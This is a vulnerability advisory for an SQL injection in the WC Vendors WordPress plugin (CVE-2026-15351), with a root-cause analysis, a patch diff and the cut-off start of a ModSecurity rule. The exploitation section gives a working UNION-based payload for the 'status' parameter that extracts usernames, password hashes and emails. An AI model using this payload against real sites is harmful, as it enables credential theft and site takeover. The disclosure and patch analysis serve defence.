Published : August 15, 2026

CVE-2026-15351: WC Vendors <= 2.7.0 Authenticated (Shop Manager+) SQL Injection via 'status' Parameter PoC, Patch Analysis & Rule

Plugin wc-vendors
Severity Medium (CVSS 4.9)
CWE 89
Vulnerable Version 2.7.0
Patched Version 2.7.1
Disclosed August 14, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-15351:

This vulnerability is a generic SQL injection in the WC Vendors WordPress plugin, affecting all versions up to and including 2.7.0. The flaw resides in the vendor listing query within the admin API and allows authenticated attackers with Shop Manager-level access or higher to extract sensitive information from the database.

Root Cause: The root cause lies in the `_query_vendor_ids()` function in `wc-vendors/classes/includes/api/admin/class-wcv-admin-api.php`. The function originally used the unsafe `extract( $params )` call, which directly imported request parameters into the local variable scope. This allowed an attacker to manipulate the `$status` variable. The `$status` parameter was then concatenated directly into a SQL query without preparation or escaping, as shown in the line `$where_query .= “AND vstatus.meta_value = ‘{$status}'”;`. The `sanitize_text_field` callback applied to the REST request removes HTML but does not neutralize SQL metacharacters. Furthermore, WordPress’s `wp_magic_quotes` slash protection is bypassed because `WP_REST_Server::serve_request()` calls `wp_unslash()` on GET parameters before the sanitize callback runs. The combination of an unsanitized SQL injection point and bypassed default protections creates a severe vulnerability.

Exploitation: An authenticated attacker with Shop Manager or Administrator role can exploit this via the WordPress REST API. They need to target the vendor admin list endpoint that retrieves vendors, such as `/wp-json/wc/v3/wcvendors-vendors` or a similar path. By crafting a request with a malicious `status` parameter, they can inject arbitrary SQL. For example, setting `status=inactive’ UNION SELECT user_login,user_pass,user_email,user_registered FROM wp_users– -` in the query string can append a UNION-based attack to extract usernames, password hashes, and email addresses from the `wp_users` table. The injected SQL becomes part of the existing query, and the results are typically returned in the API response, confirming the data extraction.

Patch Analysis: The patch in version 2.7.1 directly addresses this vulnerability in the `_query_vendor_ids()` function. It replaces the unsafe `extract( $params )` with explicit assignments for each known parameter: `$search`, `$status`, `$limit`, and `$page`. This prevents an attacker from overwriting arbitrary local variables like `$wpdb`. Crucially, the patch sanitizes the `$status` value by allow-listing it. The new code checks `in_array( $status, array( ‘active’, ‘inactive’ ), true )` and defaults to `’active’` if it does not match. The parameter is then passed through `$wpdb->prepare()` with a placeholder `%s`, ensuring it is treated as a string literal and not as SQL code, thereby eliminating the injection vector.

Impact: Successful exploitation of this SQL injection allows an authenticated attacker with Shop Manager privileges to perform unrestricted SQL queries. This can lead to the direct extraction of highly sensitive data, including WordPress user credentials (username and password hashes), user emails, and other information from the entire database, including WooCommerce customer data and order details. The stolen credentials can be used for account takeover, potentially leading to full site compromise if an administrator account is compromised.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/wc-vendors/class-wc-vendors.php
+++ b/wc-vendors/class-wc-vendors.php
@@ -8,11 +8,11 @@
  * Author URI:           https://www.wcvendors.com
  * GitHub Plugin URI:    https://github.com/wcvendors/wcvendors
  *
- * Version:              2.7.0
+ * Version:              2.7.1
  * Requires at least:    5.9
  * Tested up to:         7.0
  * WC requires at least: 5.0
- * WC tested up to:      10.8
+ * WC tested up to:      10.9
  *
  * Text Domain:          wc-vendors
  * Domain Path:          /languages/
@@ -145,7 +145,7 @@
         }

         if ( ! defined( 'WCV_VERSION' ) ) {
-            define( 'WCV_VERSION', '2.7.0' );
+            define( 'WCV_VERSION', '2.7.1' );
         }

         if ( ! defined( 'WCV_TEMPLATE_BASE' ) ) {
--- a/wc-vendors/classes/admin/class-admin-menus.php
+++ b/wc-vendors/classes/admin/class-admin-menus.php
@@ -637,6 +637,7 @@
                 'wc-vendors-woocommerce-bookings',
                 'wc-vendors-gateway-stripe-connect',
                 'wc-vendors-pro',
+                'wc-vendors-engage',
             )
         );
         include WCV_ABSPATH_ADMIN . 'views/html-admin-about-page.php';
--- a/wc-vendors/classes/admin/class-wcv-plugin-installer.php
+++ b/wc-vendors/classes/admin/class-wcv-plugin-installer.php
@@ -244,6 +244,13 @@
                 'desc'         => __( 'Integration with Simple Auctions plugin to create an auction marketplace just like eBay, Gumtree, or Facebook Marketplace. Allow your vendors to sell auction products right from their dashboard.', 'wc-vendors' ),
                 'upgrade_link' => 'https://www.wcvendors.com/pricing/?utm_source=plugin&utm_medium=extensionspage&utm_campaign=upgradesimpleauctionsaddon',
             ),
+            'wc-vendors-engage'                     => array(
+                'base_name'    => 'wc-vendors-engage/wc-vendors-engage.php',
+                'name'         => __( 'WC Vendors Engage', 'wc-vendors' ),
+                'logo'         => WCV_ASSETS_URL . 'images/extensions/icon-cart.png',
+                'desc'         => __( 'Build customer loyalty with store followers and exclusive follower-only discounts. Let customers follow their favourite vendors, receive filtered product feeds, and automatically unlock follower discounts at checkout.', 'wc-vendors' ),
+                'upgrade_link' => 'https://www.wcvendors.com/pricing/?utm_source=plugin&utm_medium=extensionspage&utm_campaign=upgradeengageaddon',
+            ),
             'woocommerce'                           => array(
                 'base_name' => 'woocommerce/woocommerce.php',
                 'name'      => __( 'WooCommerce', 'wc-vendors' ),
--- a/wc-vendors/classes/admin/settings/class-wcv-settings-capabilities.php
+++ b/wc-vendors/classes/admin/settings/class-wcv-settings-capabilities.php
@@ -445,7 +445,7 @@
                         ),

                         array(
-                            'title'   => __( 'AI Moderate', 'wc-vendors' ),
+                            'title'   => __( 'AI Product Moderation', 'wc-vendors' ),
                             'desc'    => $this->get_ai_moderate_description(),
                             'id'      => 'wcvendors_capability_ai_moderate',
                             'default' => 'no',
@@ -537,18 +537,18 @@
             }

             if ( ! wcv_is_plugin_installed( $plugin_basename ) ) {
-                return $desc . ' <span class="description" style="color: #d63638;">(' . __( 'Store Agent AI for WooCommerce plugin is required', 'wc-vendors' ) . ')</span>';
+                return $desc . ' <span class="description" style="color: #d63638;">(' . __( 'StoreAgent AI for WooCommerce plugin is required', 'wc-vendors' ) . ')</span>';
             }

             if ( ! is_plugin_active( $plugin_basename ) ) {
-                return $desc . ' <span class="description" style="color: #d63638;">(' . __( 'Store Agent AI for WooCommerce plugin must be activated', 'wc-vendors' ) . ')</span>';
+                return $desc . ' <span class="description" style="color: #d63638;">(' . __( 'StoreAgent AI for WooCommerce plugin must be activated', 'wc-vendors' ) . ')</span>';
             }

             // Check if Store Agent is connected.
             if ( class_exists( 'SAAIHelpersConnect' ) ) {
                 $is_connected = SAAIHelpersConnect::is_connected();
                 if ( ! $is_connected ) {
-                    return $desc . ' <span class="description" style="color: #d63638;">(' . __( 'You need to connect your store to Store Agent AI first', 'wc-vendors' ) . ')</span>';
+                    return $desc . ' <span class="description" style="color: #d63638;">(' . __( 'You need to connect your store to StoreAgent AI first', 'wc-vendors' ) . ')</span>';
                 }
             }

@@ -589,9 +589,9 @@
                     'store_agent_slug'          => 'storeagent-ai-for-woocommerce',
                     'store_agent_dashboard_url' => admin_url( 'admin.php?page=storeagent-dashboard' ),
                     'store_agent_logo_url'      => $store_agent_logo,
-                    'i18n_store_agent_required' => __( 'Store Agent AI for WooCommerce is required for AI Moderate feature.', 'wc-vendors' ),
-                    'i18n_step_1_title'         => __( 'Step 1: Install and Activate Store Agent', 'wc-vendors' ),
-                    'i18n_step_2_title'         => __( 'Step 2: Connect to Store Agent', 'wc-vendors' ),
+                    'i18n_store_agent_required' => __( 'StoreAgent AI for WooCommerce is required for AI Product Moderation feature.', 'wc-vendors' ),
+                    'i18n_step_1_title'         => __( 'Step 1: Install and Activate StoreAgent', 'wc-vendors' ),
+                    'i18n_step_2_title'         => __( 'Step 2: Connect to StoreAgent', 'wc-vendors' ),
                     'i18n_install_and_activate' => __( 'Install and Activate', 'wc-vendors' ),
                     'i18n_activate'             => __( 'Activate', 'wc-vendors' ),
                     'i18n_connect_store_agent'  => __( 'Open Connection Page', 'wc-vendors' ),
@@ -600,11 +600,11 @@
                     'i18n_installing'           => __( 'Installing...', 'wc-vendors' ),
                     'i18n_activating'           => __( 'Activating...', 'wc-vendors' ),
                     'i18n_checking_connection'  => __( 'Checking...', 'wc-vendors' ),
-                    'i18n_connection_success'   => __( 'Connection successful! Store Agent is ready.', 'wc-vendors' ),
-                    'i18n_connection_not_ready' => __( 'Not connected yet. Please connect Store Agent and try again.', 'wc-vendors' ),
+                    'i18n_connection_success'   => __( 'Connection successful! StoreAgent is ready.', 'wc-vendors' ),
+                    'i18n_connection_not_ready' => __( 'Not connected yet. Please connect StoreAgent and try again.', 'wc-vendors' ),
                     'i18n_connection_error'     => __( 'Unable to verify connection. Please try again.', 'wc-vendors' ),
-                    'i18n_install_success'      => __( 'Store Agent installed and activated successfully!', 'wc-vendors' ),
-                    'i18n_install_error'        => __( 'Failed to install Store Agent. Please try again.', 'wc-vendors' ),
+                    'i18n_install_success'      => __( 'StoreAgent installed and activated successfully!', 'wc-vendors' ),
+                    'i18n_install_error'        => __( 'Failed to install StoreAgent. Please try again.', 'wc-vendors' ),
                     'i18n_step_completed'       => __( 'Completed', 'wc-vendors' ),
                 )
             );
@@ -637,9 +637,9 @@
             // Template variables.
             $store_agent_logo_url      = $store_agent_logo;
             $store_agent_dashboard_url = admin_url( 'admin.php?page=storeagent-dashboard' );
-            $i18n_store_agent_required = __( 'Store Agent AI for WooCommerce is required for AI Moderate feature.', 'wc-vendors' );
-            $i18n_step_1_title         = __( 'Step 1: Install and Activate Store Agent', 'wc-vendors' );
-            $i18n_step_2_title         = __( 'Step 2: Connect to Store Agent', 'wc-vendors' );
+            $i18n_store_agent_required = __( 'StoreAgent AI for WooCommerce is required for AI Product Moderation feature.', 'wc-vendors' );
+            $i18n_step_1_title         = __( 'Step 1: Install and Activate StoreAgent', 'wc-vendors' );
+            $i18n_step_2_title         = __( 'Step 2: Connect to StoreAgent', 'wc-vendors' );
             $i18n_install_and_activate = __( 'Install and Activate', 'wc-vendors' );
             $i18n_connect_store_agent  = __( 'Open Connection Page', 'wc-vendors' );
             $i18n_check_connection     = __( 'Check Connection', 'wc-vendors' );
--- a/wc-vendors/classes/admin/views/html-admin-ai-moderate-modal.php
+++ b/wc-vendors/classes/admin/views/html-admin-ai-moderate-modal.php
@@ -15,7 +15,7 @@
         <div class="wcv-modal-header">
             <button class="wcv-modal-close" type="button" aria-label="<?php echo esc_attr__( 'Close', 'wc-vendors' ); ?>">×</button>
             <div class="wcv-modal-header-logo">
-                <img src="<?php echo esc_url( $store_agent_logo_url ); ?>" alt="Store Agent Logo" />
+                <img src="<?php echo esc_url( $store_agent_logo_url ); ?>" alt="StoreAgent Logo" />
             </div>
             <h2><?php echo esc_html( $i18n_store_agent_required ); ?></h2>
         </div>
--- a/wc-vendors/classes/class-shipping.php
+++ b/wc-vendors/classes/class-shipping.php
@@ -51,8 +51,8 @@

         // Table Rate Shipping 2 by WooThemes.
         if ( function_exists( 'woocommerce_get_shipping_method_table_rate' ) ) {
-        add_action( 'woocommerce_checkout_update_order_meta', array( 'WCV_Shipping', 'trs2_add_shipping_data' ), 1, 1 );
-        add_action( 'wc_trs2_matched_rates', array( 'WCV_Shipping', 'trs2_store_shipping_data' ), 10, 3 );
+        add_action( 'woocommerce_checkout_update_order_meta', array( $this, 'trs2_add_shipping_data' ), 1, 1 );
+        add_action( 'wc_trs2_matched_rates', array( $this, 'trs2_store_shipping_data' ), 10, 3 );
         }
     }

--- a/wc-vendors/classes/class-vendors.php
+++ b/wc-vendors/classes/class-vendors.php
@@ -608,13 +608,19 @@
      *
      * @param string|int $input The username or user ID.
      *
-     * @return int
+     * @return int|false
+     * @version 2.7.1 Added fast-path for numeric vendor IDs to skip the get_users() lookup.
      */
     public static function get_vendor_id( $input ) {
         if ( empty( $input ) ) {
             return false;
         }

+        // Numeric vendor ID needs no slug lookup; skip the get_users() query.
+        if ( is_numeric( $input ) && self::is_vendor( (int) $input ) ) {
+            return (int) $input;
+        }
+
         $users = get_users(
             array(
                 'meta_key'   => 'pv_shop_slug', // phpcs:ignore WordPress.DB.SlowDBQuery.slow_db_query_meta_key
--- a/wc-vendors/classes/front/class-wcv-order-controller.php
+++ b/wc-vendors/classes/front/class-wcv-order-controller.php
@@ -2366,9 +2366,14 @@

         $order_ids = array();

+        // Customer info capabilities gate what a vendor may see. The search must honour them too,
+        // otherwise a vendor can confirm a customer's email/phone/name/address placed an order with
+        // them via a targeted search even though the value is never displayed. See issue #1849.
+        $customer_caps = $this->get_customer_search_capabilities();
+
         switch ( $this->search_filter ) {
         case 'customer':
-            $order_ids = $this->search_orders_by_customer( $this->search_input );
+            $order_ids = $this->search_orders_by_customer( $this->search_input, $customer_caps );
             break;
         case 'product':
             $order_ids = $this->search_orders_by_product( $this->search_input );
@@ -2377,7 +2382,7 @@
             $order_ids = $this->search_orders_by_order_id( $this->search_input );
             break;
         default:
-            $order_ids = $this->search_orders_by_all( $this->search_input );
+            $order_ids = $this->search_orders_by_all( $this->search_input, $customer_caps );
             break;
         }

@@ -2406,10 +2411,13 @@
     /**
      * Search orders by all criteria
      *
-     * @param string $search_input The search input.
+     * @param string     $search_input  The search input.
+     * @param array|null $customer_caps Customer info capabilities used to gate which customer
+     *                                  fields may be matched (see get_customer_search_capabilities()).
+     *                                  Null keeps all fields searchable (backwards compatible).
      * @return array $orders The orders.
      */
-    public function search_orders_by_all( $search_input ) {
+    public function search_orders_by_all( $search_input, $customer_caps = null ) {
         global $wpdb;
         $is_hpos = wcv_hpos_enabled();

@@ -2457,16 +2465,23 @@

         $order_ids = $wpdb->get_col( $query ); // phpcs:ignore

+        // Drop candidates whose only match is a customer field the vendor is not allowed to see.
+        // Product name and order ID matches are not customer PII, so they are kept.
+        $order_ids = $this->filter_search_by_customer_capabilities( $order_ids, $search_input, $customer_caps, true );
+
         return $order_ids;
     }

     /**
      * Search orders by customer
      *
-     * @param string $search_input The search input.
+     * @param string     $search_input  The search input.
+     * @param array|null $customer_caps Customer info capabilities used to gate which customer
+     *                                  fields may be matched (see get_customer_search_capabilities()).
+     *                                  Null keeps all fields searchable (backwards compatible).
      * @return array $orders The orders.
      */
-    public function search_orders_by_customer( $search_input ) {
+    public function search_orders_by_customer( $search_input, $customer_caps = null ) {
         global $wpdb;
         $is_hpos = wcv_hpos_enabled();

@@ -2503,6 +2518,11 @@
         // phpcs:enable

         $order_ids = $wpdb->get_col( $query ); // phpcs:ignore
+
+        // The only match vector here is customer info, so drop any candidate whose match relied on
+        // a customer field the vendor is not allowed to see.
+        $order_ids = $this->filter_search_by_customer_capabilities( $order_ids, $search_input, $customer_caps, false );
+
         return $order_ids;
     }

@@ -2587,4 +2607,192 @@
         $order_ids = $wpdb->get_col( $query ); // phpcs:ignore
         return $order_ids;
     }
+
+    /**
+     * Get the customer info capabilities that gate order search.
+     *
+     * Each flag mirrors a "Capabilities" setting. When a flag is false the matching customer field
+     * must not be discoverable through the order search box.
+     *
+     * @since 2.7.1
+     *
+     * @return array {
+     *     @type bool $name          Customer (billing) name.
+     *     @type bool $shipping_name Customer shipping name.
+     *     @type bool $billing       Customer billing address (incl. company).
+     *     @type bool $shipping      Customer shipping address (incl. company).
+     *     @type bool $email         Customer email.
+     *     @type bool $phone         Customer phone (billing and shipping).
+     * }
+     */
+    protected function get_customer_search_capabilities() {
+        // Default fallbacks match the display side (wcv-dashboard-functions.php, emails, exports),
+        // which all default to 'no'. This keeps search hiding exactly what the dashboard hides when
+        // an option has never been saved, instead of leaving a field discoverable via search.
+        return array(
+            'name'          => wc_string_to_bool( get_option( 'wcvendors_capability_order_customer_name', 'no' ) ),
+            'shipping_name' => wc_string_to_bool( get_option( 'wcvendors_capability_order_customer_shipping_name', 'no' ) ),
+            'billing'       => wc_string_to_bool( get_option( 'wcvendors_capability_order_customer_billing', 'no' ) ),
+            'shipping'      => wc_string_to_bool( get_option( 'wcvendors_capability_order_customer_shipping', 'no' ) ),
+            'email'         => wc_string_to_bool( get_option( 'wcvendors_capability_order_customer_email', 'no' ) ),
+            'phone'         => wc_string_to_bool( get_option( 'wcvendors_capability_order_customer_phone', 'no' ) ),
+        );
+    }
+
+    /**
+     * Remove search results that only matched on a customer field the vendor may not view.
+     *
+     * The order search relies on WooCommerce's address index, which bundles every customer field
+     * (name, address, email, phone) into one blob, so the SQL cannot tell which field matched. This
+     * re-checks each candidate against only the fields whose capability is enabled, using
+     * WooCommerce getters so it works under both HPOS and legacy storage.
+     *
+     * @since 2.7.1
+     *
+     * @param array      $order_ids          Candidate vendor sub-order IDs from the SQL search.
+     * @param string     $search_input       The raw search term.
+     * @param array|null $customer_caps      Capabilities from get_customer_search_capabilities(), or
+     *                                       null to keep every field searchable.
+     * @param bool       $match_non_customer Whether product name / order ID matches also keep a
+     *                                       candidate (true for the "all" filter).
+     * @return array Filtered order IDs.
+     */
+    protected function filter_search_by_customer_capabilities( $order_ids, $search_input, $customer_caps, $match_non_customer ) {
+
+        // Nothing to strip when no capabilities were supplied or every field is allowed.
+        if ( empty( $order_ids ) || null === $customer_caps || ! in_array( false, $customer_caps, true ) ) {
+            return $order_ids;
+        }
+
+        $needle = trim( $search_input );
+        if ( '' === $needle ) {
+            return $order_ids;
+        }
+
+        // Batch load the candidate sub-orders and their parents up front so the loop below issues a
+        // fixed number of queries instead of one per candidate. This path only runs when at least
+        // one capability is disabled, but the search result set can still be large.
+        $sub_by_id      = array();
+        $parent_ids     = array();
+        $sub_order_args = array(
+            'type'     => 'shop_order_vendor',
+            'post__in' => $order_ids,
+            'limit'    => -1,
+        );
+        foreach ( wc_get_orders( $sub_order_args ) as $sub_order ) {
+            $sub_by_id[ $sub_order->get_id() ] = $sub_order;
+            if ( $sub_order->get_parent_id() ) {
+                $parent_ids[] = $sub_order->get_parent_id();
+            }
+        }
+
+        $parent_by_id = array();
+        if ( ! empty( $parent_ids ) ) {
+            $parent_args = array(
+                'post__in' => array_unique( $parent_ids ),
+                'limit'    => -1,
+            );
+            foreach ( wc_get_orders( $parent_args ) as $parent_order ) {
+                $parent_by_id[ $parent_order->get_id() ] = $parent_order;
+            }
+        }
+
+        $filtered = array();
+
+        foreach ( $order_ids as $order_id ) {
+            $sub_order = isset( $sub_by_id[ $order_id ] ) ? $sub_by_id[ $order_id ] : null;
+            if ( ! $sub_order ) {
+                continue;
+            }
+
+            // Customer details live on the parent order. Fall back to the sub-order when there is no
+            // parent, or when the parent could not be loaded (e.g. it was deleted).
+            $parent_id    = $sub_order->get_parent_id();
+            $parent_order = ( $parent_id && isset( $parent_by_id[ $parent_id ] ) ) ? $parent_by_id[ $parent_id ] : $sub_order;
+
+            $haystack = $this->build_customer_search_haystack( $parent_order, $customer_caps );
+            $matched  = ( '' !== $haystack && false !== stripos( $haystack, $needle ) );
+
+            // Product name and order ID are not customer PII, so they keep the candidate on "all".
+            if ( ! $matched && $match_non_customer ) {
+                if ( (string) $parent_order->get_id() === $needle ) {
+                    $matched = true;
+                } else {
+                    foreach ( $sub_order->get_items() as $item ) {
+                        if ( false !== stripos( $item->get_name(), $needle ) ) {
+                            $matched = true;
+                            break;
+                        }
+                    }
+                }
+            }
+
+            if ( $matched ) {
+                $filtered[] = $order_id;
+            }
+        }
+
+        return $filtered;
+    }
+
+    /**
+     * Build a search haystack from only the customer fields the vendor is allowed to view.
+     *
+     * @since 2.7.1
+     *
+     * @param WC_Order $order         The (parent) order carrying the customer details.
+     * @param array     $customer_caps Capabilities from get_customer_search_capabilities().
+     * @return string Space separated searchable text.
+     */
+    protected function build_customer_search_haystack( $order, $customer_caps ) {
+
+        // Field order here need not match WooCommerce's concatenated address index. We only test each
+        // enabled field for a substring match, so ordering is irrelevant except in the rare case of a
+        // term that straddles two adjacent fields in WC's index; that edge is accepted as a benign
+        // false negative in exchange for only exposing fields the vendor is allowed to view.
+        $parts = array();
+
+        if ( ! empty( $customer_caps['name'] ) ) {
+            $parts[] = $order->get_billing_first_name();
+            $parts[] = $order->get_billing_last_name();
+        }
+
+        if ( ! empty( $customer_caps['shipping_name'] ) ) {
+            $parts[] = $order->get_shipping_first_name();
+            $parts[] = $order->get_shipping_last_name();
+        }
+
+        if ( ! empty( $customer_caps['billing'] ) ) {
+            $parts[] = $order->get_billing_company();
+            $parts[] = $order->get_billing_address_1();
+            $parts[] = $order->get_billing_address_2();
+            $parts[] = $order->get_billing_city();
+            $parts[] = $order->get_billing_state();
+            $parts[] = $order->get_billing_postcode();
+            $parts[] = $order->get_billing_country();
+        }
+
+        if ( ! empty( $customer_caps['shipping'] ) ) {
+            $parts[] = $order->get_shipping_company();
+            $parts[] = $order->get_shipping_address_1();
+            $parts[] = $order->get_shipping_address_2();
+            $parts[] = $order->get_shipping_city();
+            $parts[] = $order->get_shipping_state();
+            $parts[] = $order->get_shipping_postcode();
+            $parts[] = $order->get_shipping_country();
+        }
+
+        if ( ! empty( $customer_caps['email'] ) ) {
+            $parts[] = $order->get_billing_email();
+        }
+
+        if ( ! empty( $customer_caps['phone'] ) ) {
+            $parts[] = $order->get_billing_phone();
+            if ( is_callable( array( $order, 'get_shipping_phone' ) ) ) {
+                $parts[] = $order->get_shipping_phone();
+            }
+        }
+
+        return trim( implode( ' ', array_filter( $parts ) ) );
+    }
 }
--- a/wc-vendors/classes/front/class-wcv-table-helper.php
+++ b/wc-vendors/classes/front/class-wcv-table-helper.php
@@ -365,7 +365,7 @@
         $this->get_action_column();

         // display the table.
-        wcv_deprecated_filter( 'wcvendors_pro_table_before_' . $this->id, '2.5.2', 'wcvendors_table_before_' . $this->id, $this->id, 'before' );
+        wcv_deprecated_action( 'wcvendors_pro_table_before_' . $this->id, '2.5.2', 'wcvendors_table_before_' . $this->id, $this->id, 'before' );

         $no_data_notice = wcv_deprecated_filter(
             'wcvendors_pro_table_no_data_notice_' . $this->id,
--- a/wc-vendors/classes/includes/api/admin/class-wcv-admin-api.php
+++ b/wc-vendors/classes/includes/api/admin/class-wcv-admin-api.php
@@ -271,6 +271,8 @@
     /**
      * Custom query to search customers.
      *
+     * @since 2.7.1 Replaced extract() with explicit assignments; status is now allow-listed and prepared.
+     *
      * @param array $params Array of parameters.
      *
      * @return array $results Tuple of results and total results.
@@ -288,7 +290,12 @@
             ),
         );

-        extract( $params ); // phpcs:ignore
+        // Assign only the known parameters explicitly. Using extract() here would
+        // create/overwrite arbitrary locals from request input (e.g. $wpdb).
+        $search = (string) $params['search'];
+        $status = (string) $params['status'];
+        $limit  = absint( $params['limit'] );
+        $page   = max( 1, absint( $params['page'] ) );

         $offset = ( $page - 1 ) * $limit;

@@ -326,7 +333,11 @@
             if ( 'pending' === $status ) {
                 $where_query = "AND ucap.meta_value LIKE '%"pending_vendor"%'";
             } else {
-                $where_query .= "AND vstatus.meta_value = '{$status}' AND ucap.meta_value NOT LIKE '%"pending_vendor"%' ";
+                $status       = in_array( $status, array( 'active', 'inactive' ), true ) ? $status : 'active';
+                $where_query .= $wpdb->prepare(
+                    "AND vstatus.meta_value = %s AND ucap.meta_value NOT LIKE '%%"pending_vendor"%%' ", // phpcs:ignore WordPress.DB.PreparedSQLPlaceholders.LikeWildcardsInQuery -- %% is the correct prepare() escape for a literal % in a LIKE pattern; pending_vendor is a hardcoded role slug, not user input.
+                    $status
+                );
             }
         }

@@ -363,7 +374,7 @@
         // Get vendor counts.
         $vendor_count = $this->_get_vendor_count_for_all_status();

-        // TODO: sanitize parameter values.
+        // Parameter values are sanitized in _query_vendor_ids() (allow-list + $wpdb->prepare).
         $params = $request->get_params();

         // Query the vendor IDs based on the provided parameters.
--- a/wc-vendors/classes/includes/class-wcv-shortcodes.php
+++ b/wc-vendors/classes/includes/class-wcv-shortcodes.php
@@ -1082,11 +1082,12 @@
             )
         );

+        // Validate per_page before it is used to compute the offset, and floor
+        // it to 1 to avoid a divide-by-zero when paginating below.
+        $per_page = is_numeric( $per_page ) ? max( 1, absint( $per_page ) ) : 12;
+
         $paged  = ( get_query_var( 'paged' ) ) ? get_query_var( 'paged' ) : 1;
         $offset = ( $paged - 1 ) * $per_page;
-        if ( ! is_numeric( $per_page ) ) {
-            $per_page = 12;
-        }

         if ( ! is_numeric( $columns ) ) {
             $columns = 4;
@@ -1191,6 +1192,13 @@
         $paged_vendors = $wpdb->get_results( $vendor_paged_sql ); // phpcs:ignore
         $total_vendors = $wpdb->get_var( 'SELECT FOUND_ROWS()' ); // phpcs:ignore

+        // Prime user + usermeta caches once so the per-vendor reads below
+        // (and during rendering) hit cache instead of querying per vendor.
+        $vendor_ids = wp_list_pluck( $paged_vendors, 'ID' );
+        if ( ! empty( $vendor_ids ) ) {
+            cache_users( $vendor_ids );
+        }
+
         // Process vendor data.
         $vendors = array();
         foreach ( $paged_vendors as $vendor ) {
@@ -1198,17 +1206,12 @@
             $wp_u->ID            = $vendor->ID;
             $wp_u->product_count = $vendor->product_count;

-            // Get vendor meta in one efficient query instead of multiple calls.
-            $vendor_meta = $wpdb->get_results( // phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.DirectDatabaseQuery.NoCaching
-                $wpdb->prepare(
-                    "SELECT meta_key, meta_value FROM {$wpdb->usermeta} WHERE user_id = %d",
-                    $vendor->ID
-                ),
-                ARRAY_A
-            );
+            // get_user_meta() with no key returns array( meta_key => array( values ) ) from
+            // the primed cache, so [0] takes the first value before unserializing.
+            $vendor_meta = get_user_meta( $vendor->ID );

-            foreach ( $vendor_meta as $meta ) {
-                $wp_u->{$meta['meta_key']} = maybe_unserialize( $meta['meta_value'] );
+            foreach ( $vendor_meta as $meta_key => $meta_values ) {
+                $wp_u->{$meta_key} = maybe_unserialize( $meta_values[0] );
             }

             $vendors[] = $wp_u;
--- a/wc-vendors/templates/dashboard/reports/reports.php
+++ b/wc-vendors/templates/dashboard/reports/reports.php
@@ -7,46 +7,57 @@
  * @package    WC_Vendors
  * @version    1.8.0
  * @version    2.6.5 - Fix security issues.
+ * @version    2.7.1 - Add Total Refunded Sales row and calculate Total Commission and Net Revenue on net sales.
  *
  * @phpcs:disable WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedVariableFound
  */

 ?>
 <?php
-    // Single Vendor Total Gross Sales.
+    // Single Vendor Total Gross Sales, Refunded Sales and Commission.
     $give_tax      = wc_string_to_bool( get_option( 'wcvendors_vendor_give_taxes', 'no' ) );
     $give_shipping = is_wcv_pro_active() && wc_string_to_bool( get_option( 'wcvendors_vendor_give_shipping', 'no' ) );

-    $gross_sales_totals = $store_report->orders;
-    $vendor_order_total = 0;
-    foreach ( $gross_sales_totals as $gross_sales_total ) {
-        $vendor_total_sales = $gross_sales_total->total;
-        $vendor_order_total = $vendor_order_total + $vendor_total_sales;
-    }
-
-    // Single Vendor Total Commission.
-    $product_commissions_totals = $store_report->orders;
-    $commissionTotal            = 0;
-    $net_revenue                = 0;
-    $total_tax                  = 0;
-    $total_shipping             = 0;
-
-    foreach ( $product_commissions_totals as $product_commissions_total ) {
-        $vendor_commission_data = $product_commissions_total->commission_total;
-        $commissionTotal        = $vendor_commission_data + $commissionTotal;
-
-        if ( $give_tax ) {
-            $vendor_tax_data = $product_commissions_total->total_tax;
-            $total_tax      += $vendor_tax_data;
-        }
-
-        if ( $give_shipping ) {
-            $vendor_shipping_data = $product_commissions_total->total_shipping;
-            $total_shipping      += $vendor_shipping_data;
+    $vendor_order_total    = 0; // Total Gross Sales (pre-refund, all orders).
+    $vendor_refunded_total = 0; // Total Refunded Sales (reversed commission rows).
+    $commission_total      = 0; // Total Commission on net sales (reversed rows excluded).
+    $net_revenue           = 0;
+    $total_tax             = 0;
+    $total_shipping        = 0;
+
+    foreach ( $store_report->orders as $store_order ) {
+        // Gross Sales stays pre-refund: include every order.
+        $vendor_order_total += $store_order->total;
+
+        foreach ( $store_order->vendor_products as $vendor_product ) {
+            // Refunded product: record its sales value, exclude its commission from the totals.
+            if ( 'reversed' === $vendor_product->status ) {
+                // No matching order item (product removed from order): commission is still excluded,
+                // but its sales value cannot be recovered, so Refunded Sales will understate.
+                $refunded_item = $store_order->order_items[ $vendor_product->product_id ] ?? null;
+                if ( $refunded_item ) {
+                    // Prefer the actual refunded amount; fall back to the full line total for
+                    // reversals with no refund record (DB-level / status-transition reversals).
+                    $parent_order = $refunded_item->get_order();
+                    $refunded_amt = $parent_order ? (float) $parent_order->get_total_refunded_for_item( $refunded_item->get_id() ) : 0;
+                    $vendor_refunded_total += $refunded_amt > 0 ? $refunded_amt : (float) $refunded_item->get_total();
+                }
+                continue;
+            }
+
+            $commission_total += $vendor_product->total_due + $vendor_product->total_shipping + $vendor_product->tax;
+
+            if ( $give_tax ) {
+                $total_tax += $vendor_product->tax;
+            }
+
+            if ( $give_shipping ) {
+                $total_shipping += $vendor_product->total_shipping;
+            }
         }
     }

-    $net_revenue = $commissionTotal - $total_tax - $total_shipping;
+    $net_revenue = $commission_total - $total_tax - $total_shipping;

 ?>

@@ -72,9 +83,16 @@
                     <td><strong><?php echo wp_kses( wc_price( $vendor_order_total ), wcv_allowed_html_tags() ); ?></strong></td>
                 </tr>

+                <?php if ( $vendor_refunded_total > 0 ) : ?>
+                <tr>
+                    <th><?php esc_html_e( 'Total Refunded Sales', 'wc-vendors' ); ?></th>
+                    <td><strong><?php echo wp_kses( wc_price( $vendor_refunded_total ), wcv_allowed_html_tags() ); ?></strong></td>
+                </tr>
+                <?php endif; ?>
+
                 <tr>
                     <th><?php esc_html_e( 'Total Commission', 'wc-vendors' ); ?></th>
-                    <td><strong><?php echo wp_kses( wc_price( $commissionTotal ), wcv_allowed_html_tags() ); ?></strong></td>
+                    <td><strong><?php echo wp_kses( wc_price( $commission_total ), wcv_allowed_html_tags() ); ?></strong></td>
                 </tr>

                 <tr>

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-15351
SecRule REQUEST_URI "@rx ^/wp-json/wc/v3/wcvendors-vendors$" 
